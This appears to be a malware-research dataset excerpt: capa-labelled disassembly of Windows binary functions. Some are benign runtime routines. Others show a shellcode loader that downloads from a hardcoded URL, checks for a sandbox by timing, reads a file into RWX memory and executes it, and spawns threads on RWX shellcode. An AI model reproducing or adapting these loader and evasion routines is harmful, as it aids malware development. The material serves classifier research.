joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41fdf9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47b958]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41fe39
cmp byte [ebx], 0xa
jne 0x41fe39
or byte [eax + edi + 0x28], 4
jmp 0x41fe3e
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41ff3c
mov al, byte [edx]
cmp al, 0x1a
je 0x41ff1e
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41fe6d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41fe92
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41fe9c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41fe4f
jmp 0x41ff3c
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ff19
cmp dword [ebp - 0xc], 0
je 0x41ff19
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47b958]
test byte [eax + edi + 0x28], 0x48
je 0x41fef3
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41fede
mov byte [esi], dl
jmp 0x41feef
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47b958]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41ff3c
cmp byte [ebp - 1], 0xa
jne 0x41ff02
cmp esi, ebx
jne 0x41ff02
mov byte [esi], 0xa
jmp 0x41ff3b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00420979
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41ff3c
mov byte [esi], 0xd
jmp 0x41ff3b
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47b958]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ff38
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ff3c
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41ff45
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47b958]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41ff88
cmp word [esi], dx
jne 0x41ff88
or byte [edi + eax + 0x28], 4
jmp 0x41ff8d
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4200e0
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4200c0
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41ffcf
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x420005
cmp eax, edx
jae 0x420011
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41ffa7
jmp 0x4200e0
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4200bc
cmp dword [ebp - 0x14], 0
je 0x4200bc
mov eax, dword [ebx*4 + 0x47b958]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x420094
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x42005d
mov word [esi], cx
jmp 0x420090
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47b958]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47b958]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47b958]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4200e0
pop ebx
cmp word [ebp - 4], bx
jne 0x4200a5
cmp esi, dword [ebp + 0xc]
jne 0x4200a5
mov word [esi], bx
jmp 0x4200dd
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00420979
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4200e0
push 0xd
jmp 0x4200d9
mov ecx, dword [ebx*4 + 0x47b958]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4200d7
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4200e0
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4221d0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42226d
push ebx
push esi
call fcn.00422199
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00420e1e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42221a
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42226c
push edi
push eax
call fcn.0041baee
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42223a
call fcn.0041b886
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42226b
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00420e1e
add esp, 0x20
test eax, eax
jne 0x422259
push edi
call fcn.0041b886
jmp 0x422261
push ebx
call fcn.0041b886
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x429440
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42946d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42946d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42a26f
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x40
push 0x1000
mov ebx, 0x4ac
xor ebp, ebp
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov edi, 0x479838
mov esi, eax
push edi
call fcn.0042a1ae
push ebx
push edi
push esi
call fcn.0040aff0
add esp, 0x14
call fcn.0042a194
push ebp
push ebp
push 0x436038
lea eax, [esi + 0x188]
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4019c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a1ea
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.00405cf0
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
jne 0x401a6f
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.std::exception.0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.bad_locale_name
xorps xmm0, xmm0
mov byte [ebp - 0x14], 1
push eax
movq qword [ebp - 0x20], xmm0
call fcn.00409910
add esp, 8
mov dword [ebp - 0x24], vtable.std::runtime_error.0
lea eax, [ebp - 0x24]
push 0x46870c
push eax
call fcn.0040c1b0
push eax
push esi
call fcn.00406530
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x402890
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44a29b
push eax
mov eax, 0x10b8
mov dword fs:[0], esp
call fcn.00449c10
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push 0
push 0
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x4029bb
push 0
push 0x80000000
push 0
push 0
push str.https:__baidu.com_141.qqc
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x4029b4
sub esp, 0x10
lea ecx, [ebp - 0xc0]
call fcn.00403020
mov dword [ebp - 4], 0
cmp dword [ebp - 0x70], 0
je 0x4029a2
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x10c0]
push eax
push esi
call ebx
test eax, eax
je 0x402968
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x402968
push 0
push eax
lea eax, [ebp - 0x10c0]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00403bb0
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x10c0]
push eax
push esi
call ebx
test eax, eax
jne 0x402935
lea ecx, [ebp - 0xbc]
call fcn.00404ed0
test eax, eax
jne 0x4029a2
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.004024d0
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0xc0]
call fcn.004029d0
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402ae0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
push 0x12c
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
sub eax, 0x12c
cdq
mov esi, edx
mov edi, eax
push esi
push edi
push str.v4:_d_n
call fcn.004015c0
xor edi, esi
add esp, 0xc
sub edi, esi
cmp edi, 0x64
jle 0x402b31
push str.sandbox____n
call fcn.004015c0
add esp, 4
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push 0x466234
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 4], eax
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 4]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x1d
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402bb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push esi
lea eax, [esp + 4]
mov dword [esp + 8], 0x54464f53
push eax
push 0xf003f
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 0x45524157
push eax
push 0x80000002
mov dword [esp + 0x24], 0x42444f5c
mov word [esp + 0x28], 0x43
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402c51
push eax
call fcn.0041c850
add esp, 4
push eax
call fcn.0040e770
add esp, 4
mov esi, 0x1d
call fcn.0040e730
call fcn.0040e730
sub esi, 1
jne 0x402c10
push 4
push 0x1000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
call fcn.00402890
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.00402a50
call fcn.00402ae0
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4055f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44a276
push eax
mov dword fs:[0], esp
push esi
push edi
push 0x4a
mov esi, ecx
push 0x466088
push 2
push 8
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0041bde0
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x405630
call fcn.00406910
push 1
mov dword [ebp - 4], 0
call fcn.00406300
mov dword [edi + 4], eax
lea ecx, [esi + 8]
lea eax, [esi + 4]
mov dword [esi + 0x34], edi
mov dword [esi + 0xc], eax
add esp, 4
lea eax, [esi + 0x14]
mov dword [esi + 0x10], ecx
mov dword [esi + 0x1c], eax
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
lea eax, [esi + 0x24]
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x28]
mov dword [esi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [esi + 0x20]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword [eax], 0
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov eax, dword [esi + 0xc]
mov dword [eax], 0
mov eax, dword [esi + 0x1c]
mov dword [eax], 0
mov eax, dword [esi + 0x2c]
mov dword [eax], 0
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x43a288
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp 0x44a020
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x46b46c], 1
jge 0x44a08f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x44a065
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x44a065
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x44a042
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x44a07b
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x44a082
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x44a17f
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x44a150
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x44a145
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x44a139
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x44a140
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x44a17f
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x44a17a
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x44a163
mov eax, dword [ebx + 8]
jmp 0x44a17f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x44a171
xor eax, eax
jmp 0x44a17f
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x44a0af
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x408840
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408cbc
mov byte [esp], al
cmp byte [esp], 0
jne 0x4089c9
test edi, edi
je 0x4089c9
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408909
call sub.KERNEL32.DLL_GetTickCount_1
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x4088e4
cmp edi, 0xffffffff
je 0x4088a5
call sub.KERNEL32.DLL_GetTickCount_1
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4088a5
mov byte [esp], 0
jmp 0x4089c9
cmp dword [esi], 1
jg 0x4088e4
cmp dword [esi], 0
jne 0x4088d6
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x4088d6
call sub.KERNEL32.DLL_GetCurrentThreadId_1
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x4089c9
lea eax, [esp + 0xc]
call fcn.00408500
dec ebp
test ebp, ebp
jg 0x40888a
cmp edi, 0xffffffff
je 0x408909
call sub.KERNEL32.DLL_GetTickCount_1
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408907
mov byte [esp], 0
jmp 0x4089c9
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x40884e
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408909
call sub.KERNEL32.DLL_GetTickCount_1
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408a38
mov edx, eax
mov ebx, dword [0x5e28fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x40896d
call sub.KERNEL32.DLL_GetTickCount_1
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x40896b
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x40896d
xor edi, edi
cmp byte [esp], 0
je 0x408993
mov ebx, dword [esi]
test bl, 1
jne 0x4089a9
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408973
mov byte [esp + 1], 1
jmp 0x4089a9
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408993
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408920
cmp byte [esp], 0
je 0x4089c9
call sub.KERNEL32.DLL_GetCurrentThreadId_1
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x409828
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x5e205c], 0
je 0x40988f
cmp word [0x5e2348], 0xd7b2
jne 0x409851
cmp dword [0x5e2350], 0
jbe 0x409851
mov eax, 0x5e2344
call dword [0x5e2360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x4098bc
call fcn.0040a348
push eax
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x5dc032], 0
jne 0x4098ab
push 0
push 0x5dc9c2
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x409a50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x5dc034], 0
je 0x409a7b
mov edx, edi
mov eax, esi
call dword [0x5dc034]
mov ebx, eax
jmp 0x409a8c
mov eax, 8
call fcn.00406e3c
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x5e205d], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x409a18
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_CreateThread_1
mov esi, eax
test esi, esi
jne 0x409abc
mov eax, ebx
call fcn.00406e58
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc

Function at 0x40c734
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40c899
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409b90
cmp si, word [0x5dca00]
jb 0x40c7cc
cmp si, word [0x5dcc00]
ja 0x40c7cc
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40c7cc
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x5dca00]
jae 0x40c7a6
mov edi, ebx
dec edi
jmp 0x40c7c7
cmp si, word [ebx*8 + 0x5dca00]
jbe 0x40c7b6
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40c7c7
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x5dca04]
call fcn.0040c654
jmp 0x40c7cc
cmp edi, dword [ebp - 8]
jae 0x40c790
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40c87b
push 2
movzx eax, si
push eax
call sub.KERNEL32.DLL_IsValidLocale_1
test eax, eax
je 0x40c87b
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.KERNEL32.DLL_GetLocaleInfoW_1
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.KERNEL32.DLL_GetLocaleInfoW_1
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a6e8
push dword [ebp - 0x160]
push 0x40c8b4
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a6e8
push dword [ebp - 0x164]
push 0x40c8c4
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a6e8
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040a920
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c8a0
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409bf0
ret
Function at 0x40ca4c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cb50
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x5e4b8c
call sub.KERNEL32.DLL_EnterCriticalSection_1
cmp bx, word [0x5e4ba4]
jne 0x40ca98
mov eax, esi
mov edx, 0x5e4ba6
mov ecx, 0x55
call fcn.0040a6e8
push 0x5e4b8c
call sub.KERNEL32.DLL_LeaveCriticalSection_1
jmp 0x40cb3a
push 0x5e4b8c
call sub.KERNEL32.DLL_LeaveCriticalSection_1
mov eax, esi
call fcn.00409b90
push 2
movzx eax, bx
push eax
call sub.KERNEL32.DLL_IsValidLocale_1
test eax, eax
je 0x40cb07
cmp byte [0x5e4b88], 0
je 0x40cacc
mov edx, esi
mov eax, ebx
call fcn.0040c930
jmp 0x40cb07
mov edx, esi
mov eax, ebx
call fcn.0040c734
call sub.KERNEL32.DLL_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40cb07
cmp dword [esi], 0
je 0x40caf0
mov eax, esi
mov edx, 0x40cb68
call fcn.0040a840
call sub.KERNEL32.DLL_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040c734
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040a840
push 0x5e4b8c
call sub.KERNEL32.DLL_EnterCriticalSection_1
mov word [0x5e4ba4], bx
mov eax, dword [esi]
call fcn.0040a644
mov ecx, eax
mov eax, 0x5e4ba6
mov edx, 0xaa
call fcn.0040c5b4
push 0x5e4b8c
call sub.KERNEL32.DLL_LeaveCriticalSection_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cb57
lea eax, [ebp - 4]
call fcn.00409b90
ret